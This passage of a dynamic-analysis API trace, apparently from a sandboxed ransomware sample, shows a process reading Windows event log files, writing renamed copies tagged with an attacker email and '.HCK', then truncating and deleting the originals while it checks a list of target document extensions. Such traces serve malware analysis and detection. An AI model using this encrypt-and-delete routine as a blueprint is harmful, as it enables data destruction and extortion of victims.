dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.441] SetEndOfFile (hFile=0x380) returned 1 [0155.442] CloseHandle (hObject=0x380) returned 1 [0155.442] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0155.442] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1 [0155.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0155.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0155.442] lstrlenW (lpString=".doc") returned 4 [0155.442] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.442] lstrlenW (lpString=".docx") returned 5 [0155.442] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.442] lstrlenW (lpString=".pdf") returned 4 [0155.443] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString=".xls") returned 4 [0155.443] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString=".xlsx") returned 5 [0155.443] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.443] lstrlenW (lpString=".ppt") returned 4 [0155.443] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0155.443] lstrlenW (lpString=".zip") returned 4 [0155.443] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString=".rar") returned 4 [0155.443] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString=".bz2") returned 4 [0155.443] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString=".7z") returned 3 [0155.443] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0155.443] lstrlenW (lpString=".dbf") returned 4 [0155.443] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0155.443] lstrlenW (lpString=".1cd") returned 4 [0155.443] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0155.443] lstrlenW (lpString=".jpg") returned 4 [0155.443] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0155.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0155.443] lstrlenW (lpString=".doc") returned 4 [0155.443] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString=".docx") returned 5 [0155.443] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.443] lstrlenW (lpString=".pdf") returned 4 [0155.443] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString=".xls") returned 4 [0155.443] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString=".xlsx") returned 5 [0155.443] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.443] lstrlenW (lpString=".ppt") returned 4 [0155.443] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0155.443] lstrlenW (lpString=".zip") returned 4 [0155.443] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString=".rar") returned 4 [0155.443] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString=".bz2") returned 4 [0155.443] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.443] lstrlenW (lpString=".7z") returned 3 [0155.443] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0155.443] lstrlenW (lpString=".dbf") returned 4 [0155.443] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0155.444] lstrlenW (lpString=".1cd") returned 4 [0155.444] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0155.444] lstrlenW (lpString=".jpg") returned 4 [0155.444] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.444] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0155.444] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47 [0155.444] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.444] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0155.444] CloseHandle (hObject=0x380) returned 1 [0155.445] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0155.445] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.445] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.445] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.445] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.445] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.446] GetLastError () returned 0x0 [0155.446] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0155.448] WriteFile (in: hFile=0x308, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0155.450] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.450] WriteFile (in: hFile=0x308, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x132, lpOverlapped=0x0) returned 1 [0155.450] SetEndOfFile (hFile=0x308) returned 1 [0155.450] CloseHandle (hObject=0x308) returned 1 [0155.455] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.455] SetEndOfFile (hFile=0x380) returned 1 [0155.455] CloseHandle (hObject=0x380) returned 1 [0155.456] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0155.456] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0155.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0155.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0155.456] lstrlenW (lpString=".doc") returned 4 [0155.456] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.456] lstrlenW (lpString=".docx") returned 5 [0155.456] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.456] lstrlenW (lpString=".pdf") returned 4 [0155.456] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.456] lstrlenW (lpString=".xls") returned 4 [0155.456] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.456] lstrlenW (lpString=".xlsx") returned 5 [0155.456] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.456] lstrlenW (lpString=".ppt") returned 4 [0155.456] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0155.456] lstrlenW (lpString=".zip") returned 4 [0155.456] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.456] lstrlenW (lpString=".rar") returned 4 [0155.456] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.456] lstrlenW (lpString=".bz2") returned 4 [0155.456] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.456] lstrlenW (lpString=".7z") returned 3 [0155.456] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0155.457] lstrlenW (lpString=".dbf") returned 4 [0155.457] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0155.457] lstrlenW (lpString=".1cd") returned 4 [0155.457] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0155.457] lstrlenW (lpString=".jpg") returned 4 [0155.457] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0155.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0155.457] lstrlenW (lpString=".doc") returned 4 [0155.457] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.457] lstrlenW (lpString=".docx") returned 5 [0155.457] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.457] lstrlenW (lpString=".pdf") returned 4 [0155.457] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.457] lstrlenW (lpString=".xls") returned 4 [0155.457] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.457] lstrlenW (lpString=".xlsx") returned 5 [0155.457] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.457] lstrlenW (lpString=".ppt") returned 4 [0155.457] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0155.457] lstrlenW (lpString=".zip") returned 4 [0155.457] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.457] lstrlenW (lpString=".rar") returned 4 [0155.457] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.457] lstrlenW (lpString=".bz2") returned 4 [0155.457] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.457] lstrlenW (lpString=".7z") returned 3 [0155.457] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0155.457] lstrlenW (lpString=".dbf") returned 4 [0155.457] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0155.457] lstrlenW (lpString=".1cd") returned 4 [0155.457] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0155.457] lstrlenW (lpString=".jpg") returned 4 [0155.457] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.457] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0155.457] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47 [0155.457] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0155.843] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0155.843] CloseHandle (hObject=0x2fc) returned 1 [0155.843] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0155.843] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.843] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0155.843] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.843] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.843] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.843] GetLastError () returned 0x0 [0155.843] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0155.852] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0155.853] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.854] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x132, lpOverlapped=0x0) returned 1 [0155.854] SetEndOfFile (hFile=0x394) returned 1 [0155.854] CloseHandle (hObject=0x394) returned 1 [0155.856] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.856] SetEndOfFile (hFile=0x2fc) returned 1 [0155.857] CloseHandle (hObject=0x2fc) returned 1 [0155.857] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0155.857] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0155.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0155.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0155.857] lstrlenW (lpString=".doc") returned 4 [0155.857] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.857] lstrlenW (lpString=".docx") returned 5 [0155.857] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.857] lstrlenW (lpString=".pdf") returned 4 [0155.857] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.857] lstrlenW (lpString=".xls") returned 4 [0155.857] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.857] lstrlenW (lpString=".xlsx") returned 5 [0155.858] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.858] lstrlenW (lpString=".ppt") returned 4 [0155.858] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0155.858] lstrlenW (lpString=".zip") returned 4 [0155.858] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString=".rar") returned 4 [0155.858] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString=".bz2") returned 4 [0155.858] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString=".7z") returned 3 [0155.858] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0155.858] lstrlenW (lpString=".dbf") returned 4 [0155.858] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0155.858] lstrlenW (lpString=".1cd") returned 4 [0155.858] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0155.858] lstrlenW (lpString=".jpg") returned 4 [0155.858] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0155.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0155.858] lstrlenW (lpString=".doc") returned 4 [0155.858] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString=".docx") returned 5 [0155.858] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.858] lstrlenW (lpString=".pdf") returned 4 [0155.858] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString=".xls") returned 4 [0155.858] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString=".xlsx") returned 5 [0155.858] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.858] lstrlenW (lpString=".ppt") returned 4 [0155.858] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0155.858] lstrlenW (lpString=".zip") returned 4 [0155.858] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString=".rar") returned 4 [0155.858] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString=".bz2") returned 4 [0155.858] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString=".7z") returned 3 [0155.858] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0155.858] lstrlenW (lpString=".dbf") returned 4 [0155.858] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0155.858] lstrlenW (lpString=".1cd") returned 4 [0155.858] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0155.858] lstrlenW (lpString=".jpg") returned 4 [0155.859] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.859] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0155.859] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49 [0155.859] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0155.859] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0155.859] CloseHandle (hObject=0x2fc) returned 1 [0155.859] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0155.859] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.859] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0155.859] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.859] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.859] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.863] GetLastError () returned 0x0 [0155.863] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0155.945] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0155.951] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.951] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x136, lpOverlapped=0x0) returned 1 [0155.951] SetEndOfFile (hFile=0x394) returned 1 [0155.979] CloseHandle (hObject=0x394) returned 1 [0155.981] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.981] SetEndOfFile (hFile=0x2fc) returned 1 [0155.982] CloseHandle (hObject=0x2fc) returned 1 [0155.982] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0155.983] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0155.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0155.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0155.983] lstrlenW (lpString=".doc") returned 4 [0155.983] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.983] lstrlenW (lpString=".docx") returned 5 [0155.983] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.983] lstrlenW (lpString=".pdf") returned 4 [0155.983] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.983] lstrlenW (lpString=".xls") returned 4 [0155.983] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.983] lstrlenW (lpString=".xlsx") returned 5 [0155.983] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.983] lstrlenW (lpString=".ppt") returned 4 [0155.983] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0155.983] lstrlenW (lpString=".zip") returned 4 [0155.983] lstrcmpiW (lpString1=".zip", 